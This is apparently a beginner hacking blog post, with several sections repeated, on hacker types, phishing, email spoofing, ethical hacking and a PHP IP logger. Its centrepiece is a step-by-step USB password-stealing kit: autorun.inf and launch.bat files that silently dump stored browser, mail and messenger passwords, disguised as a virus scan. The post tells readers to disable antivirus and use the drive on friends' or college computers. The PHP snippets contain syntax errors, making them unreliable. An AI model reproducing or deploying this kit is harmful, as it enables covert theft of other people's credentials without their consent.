Types of Hacker

Let’s see the categories of Hackers on the basis on their knowledge. Coders **The Real Hackers are the Coders, the ones who revise the methods and create tools that are available in the market. Coders can find security holes and weaknesses in software to create their own exploits. These Hackers can use those exploits to develop fully patched and secure systems.

Concept of Ethical Hacking

hi guys this is my first post i hope to present hacking A to Z 101 lets begun :) Hacking The Art of exploring various security breaches is termed as Hacking. # Computer Hackers have been around for so many years. Since the Internet became widely used in the World, We have started to hear more and more about hacking

Why Hackers Hack?

The main reason why Hackers hack is because they can hack. Hacking is a casual hobby for some Hackers — they just hack to see what they can hack and what they can’t hack, usually by testing their own systems. Many Hackers are the guys who get kicked out of corporate and government IT and security organizations. They try to bring down the status of the organization by attacking or stealing information

Steps Performed By hackers

1) Reconnaissance 2) Scanning 3) Gaining Access 4) Maintaining Access 5) Clearing Tracks • Performing Reconnaissance • Scanning and Enumeration • Gaining access • Maintaining access and Placing Backdoors • Covering tracks or Clearing Log

Prevention from Hackers

What can be done to prevent Hackers from finding new holes in software and exploiting them? Information security research teams exist—to try to find these holes and notify vendors before they are exploited. There is a beneficial competition occurring between the Hackers securing systems and the Hackers breaking into those systems. This competition provides us with better and stronger security, as well as more complex and sophisticated attack techniques.

Email Password Hacking

Email Password Hacking

There is no specified attack available just to hack the password of Email accounts. Also, it is not so easy to 
compromise the Email server like Yahoo, Gmail, etc.

Email Password Hacking can be accomplished via some of the Client Side Attacks. We try to compromise the user 
and get the password of the Email account before it reaches the desired Email server.

We will cover many attacks by the workshop flows, but at this time we will talk about the very famous 'Phishing 
attack'.

Phishing


The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the user into surrendering private information that will be used for identity theft.

The Email directs the user to visit a Web site where they are asked to update personal information, such as passwords and credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site, however, is Bogus and set up only to steal the User’s information.

Phishing scams could be

Emails inviting you to join a Social Group, asking you to Login using your Username and Password.

 Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT.

 Emails containing some Information of your Interest and asking you to Login to Your Account.

Any Email carrying a Link to Click and asking you to Login.

Prevention against Phishing

Read all the Email Carefully and Check if the Sender is Original

 Watch the Link Carefully before Clicking.
 Always check the URL in the Browser before Signing IN to your Account
Always Login to Your Accounts after opening the Trusted Websites, not by Clicking in any other Website or Email.

Email Spamming

Email Spamming


Email Spamming is a variant of Bombing; it refers to sending Email to hundreds or thousands of users (or to lists that expand to that many users). Email spamming can be made worse if recipients reply to the Email, causing all the original addressees to receive the reply. It may also occur innocently, as a result of sending a message to mailing lists and not realizing that the list explodes to thousands of users, or as a result of a responder message (such as vacation(1)) that is setup incorrectly.

More Facts About Email Hacking

 

 

Consequences of fake emails








Email from your Email ID to any Security Agency declaring a Bomb Blast can make you spend rest of your life 
behind the iron bars. 

Email from you to your Girl friend or Boy friend can cause Break-Up and set your friend’s to be in relationship.

  Check if the Email was sent from any other Email Server or Website

  Headers carry the name of the Website on which the mail sending script was used. 

 Email Bombing

   Email Bombing is sending an Email message to a particular address at a specific victim site. In many instances, the 
messages will be large and constructed from meaningless data in an effort to consume additional system and 
network resources. Multiple accounts at the target site may be abused, increasing the denial of service impact.

Email Spoofing

Email Spoofing

 







Email spoofing is the forgery of an Email header so that the message appears to have originated from someone or
somewhere other than the actual source. Distributors of spam often use spoofing in an attempt to get recipients 
to open, and possibly even respond to, their solicitations. Spoofing can be used legitimately.

There are so many ways to send the Fake Emails even without knowing the password of the Email ID. The Internet 
is so vulnerable that you can use anybody's Email ID to send a threatening Email to any official personnel. 

Methods to send fake Emails 

1.Open Relay Server

2.Web Scripts

 Fake Emails: Open Relay Server

 An Open Mail Relay is an SMTP (Simple Mail Transfer Protocol) server configured in such a way that it allows 
anyone on the Internet to send Email through it, not just mail destined ‘To’ or  ‘Originating’ from known users.

An Attacker can connect the Open Relay Server via Telnet and instruct the server to send the Email.

Open Relay Email Server requires no password to send the Email

 Fake Emails: via web script

 Web Programming languages such as PHP and ASP contain the mail sending functions which can be used to send Emails by programming Fake headers i.e.” From: To: Subject:”

 There are so many websites available on the Internet which already contains these mail sending scripts. Most of 
them provide the free service.

Email Security

Email Security

 






Now let’s check how secure this fast mean of communication is. There are so many attacks which are applied on
Emails. There are people who are the masters of these Email attacks and they always look for the innocent people
who are not aware of these Email tricks and ready to get caught their trap.

You have to make sure that you are not an easy target for those people. You have to secure your Email identity
and profile, make yourself a tough target

If you have an Email Id Do not feel that it does not matters if hacked because there is no important information in
that Email account, because you do not know if someone gets your Email id password and uses your Email to send
a threatening Email to the Ministry or to the News Channels.

Attacker is not bothered about your data in the Email. He just wants an Email ID Victim which will be used in the
attack. There are a lots of ways by which one can use your Email in wrong means, i am sure that you would have
come across some of the cased where a student gets an Email from his friends abusing him or cases on Porn
Emails where the owner of the Email does not anything about the sent Email.

How to hack passwords using USB Drive

How to hack passwords using USB Drive

 




Today I will show you how to hack Passwords using an USB Pen Drive. 
As we all know, Windows stores most of the passwords which are used on a daily
basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows
messenger etc. 
Along with these, Windows also stores passwords of Outlook Express, SMTP, POP,
FTP accounts and auto-complete passwords of many browsers like IE and Firefox.
There exists many tools for recovering these passswords from their stored places.
Using these tools and an USB pendrive you can create your own rootkit to hack
passwords from your friend’s/college Computer. 
We need the following tools to create our rootkit: 

 MessenPass:Recovers the passwords of most popular Instant Messenger programs:

MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL
Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM. 

Mail PassView:Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook

2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape
Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail,
Yahoo!, Gmail), if you use the associated programs of these accounts. 

IE Passview:IE PassView is a small utility that reveals the passwords stored by

Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as
older versions of Internet explorer, v4.0 - v6.0 

Protected Storage PassView:Recovers all passwords stored inside the Protected

Storage, including the AutoComplete passwords of Internet Explorer, passwords of
Password-protected sites, MSN Explorer Passwords, and more… 

 PasswordFox:PasswordFox is a small password recovery tool that allows you to view

the user names and passwords stored by Mozilla Firefox Web browser. By default,
PasswordFox displays the passwords stored in your current profile, but you can easily
select to watch the passwords of any other Firefox profile. For each password entry,
the following information is displayed: Record Index, Web Site, User Name,
Password, User Name Field, Password Field, and the Signons filename.








Here is a step by step procedre to create the password hacking toolkit:

 NOTE: You must temporarily disable your antivirus before following these steps.

1.Download all the 5 tools, extract them and copy only the executables(.exe files)

into your USB Pendrive.

ie: Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe

into your USB Drive.

2.Create a new Notepad and write the following text into it: 

[autorun]

open=launch.bat

ACTION= Perform a Virus Scan

savethe Notepad and renameit from 

New Text Document.txtto autorun.inf

Now copy theautorun.inffile onto your USB pendrive.

3.Create another Notepad and write the following text onto it: 

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

savethe Notepad and renameit from

New Text Document.txtto launch.bat

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to hack the passwords. You can use this

pendrive on your friend’s PC or on your college computer. Just follow these steps

1.Insert the pendrive and the autorun window will pop-up. (This is because, we have

created an autorun pendrive).

2.In the pop-up window, select the first option (Perform a Virus Scan).

3.Now all the password hacking tools will silently get executed in the background

(This process takes hardly a few seconds). The passwords get stored in the .TXT

files.

4.Remove the pendrive and you’ll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP,Vista and 7

NOTE: This procedure will only recover the stored passwords (if any) on the

Computer.

Email Service Protocols

 

 SMTP

 SMTP stands for Simple Mail Transfer Protocol. SMTP is used when Email is delivered from an Email client, such as
Outlook Express, to an Email server or when Email is delivered from one Email server to another. SMTP uses port
25.

 POP3

POP3 stands for Post Office Protocol. POP3 allows an Email client to download an Email from an Email server. The
POP3 protocol is simple and does not offer many features except for download. Its design assumes that the Email
client downloads all available Email from the server, deletes them from the server and then disconnects. POP3
normally uses port 110.

IMAP


IMAP stands for Internet Message Access Protocol. IMAP shares many similar features with POP3. It, too, is a
protocol that an Email client can use to download Email from an Email  server. However, IMAP includes many
more features than POP3. The IMAP protocol is designed to let users keep their Email on the server. IMAP
requires more disk space on the server and more CPU resources than POP3, as all Emails are stored on the server.
IMAP normally uses port 143.


How to grab IP address with PHP

How to grab IP address with PHP

 

Today I’ll be showing you how to grab somebodies IP address when they visit a page.
The variable to use is $_SERVER['REMOTE_ADDR'] - It’s that simple. You can use it
for just about anything, here are a few examples.
Printing the Users IP Address:
<?php
print ($_SERVER['REMOTE_ADDR'], "I'm Watching You!");
?>



Printing it to a File:


<?php
$ip = $_SERVER['REMOTE_ADDR'];
$handle = fopen('ipaddresses.txt'', 'a+);
fwrite($handle, $ip); fwrite($handle, "\n");
fclose($handle);
?>

All you have to do, is to make a text file and insert any of these codes or one of your
own and save it as anythingyouwant.php
Then upload it to your website and it'll do the trick :P
The Possibilities for what you can use this to are endless.
Good luck :D

Working of an ethical hacker

 








Obeying the Ethical Hacking Commandments:

 Every Ethical Hacker must follow few basic principles. If he do not follow, bad things can happen. Most of the time 
these principles get ignored or forgotten when planning or executing ethical hacking tests. The results are even 
very dangerous.

Working ethically: 

The word ethical can be defined as working with high professional morals and principles. Whether you’re
performing ethical hacking tests against your own systems or for someone who has hired you, everything you do 
as an ethical Hacker must be approved and must support the company’s goals. No hidden agendas are allowed!
Trustworthiness is the ultimate objective. The misuse of information is absolutely not allowed. That’s what the 
bad guys do. 








Respecting privacy: 

 Treat the information you gather with complete respect. All information you obtain during your testing — from
Web application log files to clear-text passwords — must be kept private


 Not crashing your systems:

One of the biggest mistakes is when people try to hack their own systems; they come up with crashing their
systems. The main reason for this is poor planning. These testers have not read the documentation or
misunderstand the usage and power of the security tools and techniques. 

You can easily create miserable conditions on your systems when testing. Running too many tests too quickly on a 
system causes many system lockups. Many security assessment tools can control how many tests are performed 
on a system at the same time. These tools are especially handy if you need to run the tests on production systems
during regular business hours.

Executing the plan:   

 In Ethical hacking, Time and patience are important. Be careful when you’re performing your ethical hacking tests.
A Hacker in your network or an employee looking over your shoulder may watch what’s going on. This person 

could use this information against you. It’s not practical to make sure that no Hackers are on your systems before 
you start. Just make sure you keep everything as quiet and private as possible.

This is especially critical when transmitting and storing your test results. You’re now on a reconnaissance mission. 
Find as much information as possible about your organization and systems, which is what malicious Hackers do. 
Start with a broad view of mind and narrow your focus. Search the Internet for your organization’s name, your 
computer and network system names, and your IP addresses. Google is a great place to start for this.
Don’t take ethical hacking too far, though. It makes little sense to harden your systems from unlikely attacks. For 
instance, if you don’t have a internal Web server running, you may not have to worry too much about. However, 
don’t forget about insider threats from malicious employees or your friends or colleagues!

N:B
“Never share your password with anyone even with your Boyfriend(s) or Girlfriend(s)”.

Prevention from Hackers

 
  • What can be done to prevent Hackers from finding new holes in software and exploiting them?
  • Information security research teams exist—to try to find these holes and notify vendors before they are exploited. There is a beneficial competition occurring between the Hackers securing systems and the Hackers breaking into those systems. This competition provides us with better and stronger security, as well as more complex and sophisticated attack techniques.
  • Defending Hackers create Detection Systems to track attacking Hackers, while the attacking Hackers develop bypassing techniques, which are eventually resulted in bigger and better detecting and tracking systems. The net result of this interaction is positive, as it produces smarter people, improved security, more stable software, inventive problem-solving techniques, and even a new economy.
  •  
  • Now when you need protection from Hackers, whom you want to call, “The Ethical Hackers”. An Ethical Hacker possesses the skills, mindset, and tools of a Hacker but is also trustworthy. Ethical Hackers perform the hacks as security tests computer systems.
  • Ethical Hacking — also known as Penetration Testing or White-Hat Hacking —involves the same Tools, Tricks and Techniques that Hackers use, but with one major difference:
  • Ethical hacking is Legal.
  • Ethical hacking is performed with the target’s permission. The intent of Ethical Hacking is to discover vulnerabilities from a Hacker’s viewpoint so systems can be better secured. Ethical Hacking is part of an overall information Risk Management program that allows for  ongoing security improvements. Ethical hacking can also ensure that vendors’ claims about the security of their products are legitimate.
  • As Hackers expand their knowledge, so should you. You must think like them to protect your systems from them. You, as the ethical Hacker, must know activities Hackers carry out and how to stop their efforts. You should know what to look for and how to use that information to thwart Hackers’ efforts.
  •  
  • You don’t have to protect your systems from everything. You can’t.
  • The only protection against everything is to unplug your computer systems and lock them away so no one can touch them—not even you.
  • That’s not the best approach to information security. What’s important is to protect your systems from known Vulnerabilities and common Hacker attacks.

  • It’s impossible to overcome all possible vulnerabilities of your systems. You can’t plan for all possible attacks —especially the ones that are currently unknown which are called Zero Day Exploits. These are the attacks which are not known to the world. However in Ethical Hacking, the more combinations you try — the more you test whole systems instead of individual units — the better your chances of discovering vulnerabilities.





  •    








    Why Hackers Hack?


    The main reason why Hackers hack is because they can hack. Hacking is a casual hobby for some Hackers — they just hack to see what they can hack and what they can’t hack, usually by testing their own systems. Many Hackers are the guys who get kicked out of corporate and government IT and security organizations. They try to bring down the status of the organization by attacking or stealing information.




    The knowledge that malicious Hackers gain and the ego that comes with that knowledge is like an addiction. Some Hackers want to make your life miserable, and others simply want to be famous. Some common motives of malicious Hackers are revenge, curiosity, boredom, challenge, theft for financial gain, blackmail, extortion, and corporate work pressure. 

    Many Hackers say they do not hack to harm or profit through their bad activities, which helps them justify their work. They often do not look for money full of pocket. Just proving a point is often a good enough reward for them.

    Types of Hacker



      Let’s see the categories of Hackers on the basis on their knowledge.
    Coders
    **The Real Hackers are the Coders, the ones who revise the methods and create tools that are available in the market. Coders can find security holes and weaknesses in software to create their own exploits. These Hackers can use those exploits to develop fully patched and secure systems.


    **  Coders are the programmers who have the ability to find the unique vulnerability in existing software and to create working exploit codes. These are the individuals with a deep understanding of the OSI Layer Model and TCP/IP Stacks.
    Admins 
    Admins are the computer guys who use the tools and exploits prepared by the coders. They do not develop their own techniques, however they uses the tricks which are already prepared by the coders. They are generally System Administration, or Computer Network Controller. Most of the Hackers and security person in this digitalworld come under this category. 
      
    Admins have experience with several operating systems, and know how to exploit several existing vulnerabilities.
    A majority of Security Consultants fall in this group and work as a part of Security Team





    Script Kiddies
      Next and the most dangerous class of Hackers is Script kiddies, They are the new generation of users of computer who take advantage of the Hacker tools and documentation available for free on the Internet but don’t have any knowledge of what’s going on behind the scenes. They know just enough to cause you headaches but typically are very sloppy in their actions, leaving all sorts of digital fingerprints behind. Even though these guys are the teenage
    Hackers that you hear about in the news media, they need minimum skills to carry out their attacks. 


    Script Kiddies are the bunnies who use script and programs developed by others to attack computer systems and Networks. They get the least respect but are most annoying and dangerous and can cause big problems without actually knowing what they are doing.

    White Hat Hacker 

    A White Hat Hacker is computer guy who perform Ethical Hacking. These are usually security professionals with
    knowledge of hacking and the Hacker toolset and who use this knowledge to locate security weaknesses and 
    implement counter measures in the resources 

     They are also known as an Ethical Hacker or a Penetration Tester. They focus on Securing and Protecting IT Systems

    Black Hat Hacker 
    A Black Hat Hacker is computer guy who performs Unethical Hacking. These are the Criminal Hackers or Crackers 
    who use their skills and knowledge for illegal or malicious purposes. They break into or otherwise violate the 
    system integrity of remote machines, with malicious intent.

    These are also known as an Unethical Hacker or a Security Cracker. They focus on Security Cracking and Data stealing.  

    Grey Hat Hacker 

    A Grey Hat Hacker is a Computer guy who sometimes acts legally, sometimes in good will, and sometimes not. 
    They usually do not hack for personal gain or have malicious intentions, but may or may not occasionally commit 
    crimes during the course of their technological exploits.
    They are hybrid between White Hat and Black Hat Hackers 

    Ethical Hacking 

    Ethical Hacking is testing the resources for a good cause and for the betterment of technology. Technically Ethical 
    Hacking means penetration testing which is focused on Securing and Protecting IT Systems. 

    Hactivism 

    Another type of Hackers are Hacktivists, who try to broadcast political or social messages through their work. A Hacktivist wants to raise public awareness of an issue. Examples of hacktivism are the Web sites that were defaced with the Jihad messages in the name of Terrorism.
    Cyber Terrorist
      There are Hackers who are called Cyber Terrorists, who attack government computers or public utility infrastructures, such as power stations and air-traffic-control towers. They crash critical systems or steal classified government information. While in a conflict with enemy countries some government start Cyber war via Internet. 

    Concept of Ethical Hacking



    hi guys this is my first post  i hope to present hacking A to Z 101 lets begun :)
     Hacking
    The Art of exploring various security breaches is termed as Hacking.
     # Computer Hackers have been around for so many years. Since the Internet became widely used in the World, We 
    have started to hear more and more about hacking. Only a few Hackers, such as Kevin Mitnick, are well known.

    #  In a world of Black and White, it’s easy to describe the typical Hacker. A general outline of a typical Hacker is an 
    Antisocial, Pimple-faced Teenage boy. But the Digital world has many types of Hackers.

    #  Hackers are human like the rest of us and are, therefore, unique individuals, so an exact profile is hard to outline. 
    The best broad description of Hackers is that all Hackers aren’t equal. Each Hacker has Motives, Methods and
    Skills. But some general characteristics can help you understand them. Not all Hackers are Antisocial, Pimple-faced Teenagers. Regardless, Hackers are curious about Knowing new things, Brave to take steps and they are 
    often very Sharp Minded.
    Hacker 
    Hacker is a word that has two meanings 
     Traditionally, a Hacker is someone who likes to play with Software or Electronic Systems. Hackers enjoy Exploring 
    and Learning how Computer systems operate. They love discovering new ways to work electronically.
    $  Recently, Hacker has taken on a new meaning — someone who maliciously breaks into systems for personal gain. 
    Technically, these criminals are Crackers as Criminal Hackers. Crackers break into systems with malicious 
    intentions.
    $ They do it for Personal gain, Fame, Profit and even Revenge. They Modify, Delete and Steal critical information, 
    often making other people's life miserable.

    $  Hacking has a lot of meanings depending upon the person’s knowledge and his work intentions. Hacking is an Art 
    as well as a Skill. Hacking is the knowledge by which one gets to achieve his Goals, anyhow, using his Skills and 
    Power.

    $ Most people associate Hacking with breaking law, therefore calling all those guys who engage in hacking activities 
    to be criminals. We agree that there are people out there who use hacking techniques to break the law, but
    hacking is not really about that. In fact, hacking is more about following the  law and performing the steps within 
    the limits.

    Hacker vs. Cracker 
    *What Is the Difference Between a Hacker and a Cracker?
    Many articles have been written about the difference between Hackers and crackers, which attempt to correct 
    public misconceptions about hacking. For many years, media has applied the word Hacker when it really means
    Cracker. So the public now believe that a Hacker is someone who breaks into computer systems and steal 
    confidential data. This is very untrue and is an insult to some of our most talented Hackers.  

    *There are various points to determine the difference between Hackers and crackers 
    Definition - A Hacker is a person who is interested in the working of any computer Operating system. Most often, 
    Hackers are programmers. Hackers obtain advanced knowledge of operating systems and programming 
    languages. They may know various security holes within systems and the reasons for such holes. Hackers  constantly seek further knowledge, share what they have discovered, and they never have intentions about 
    damaging or stealing data

    Definition - A Cracker is a person who breaks into other people systems, with malicious intentions. Crackers gain 
    unauthorized access, destroy important data, stop services provided by the server, or basically cause problems for
    their targets. Crackers can easily be identified because their actions are malicious.

    ** Whatever the case, most people give Hacker a negative outline. Many malicious Hackers are electronic thieves.
    Just like anyone can become a thief, or a robber, anyone can become a Hacker, regardless of age, gender, or 
    religion. Technical skills of Hackers vary from one to another. Some Hackers barely know how to surf the Internet, 
    whereas others write software that other Hackers depend upon.
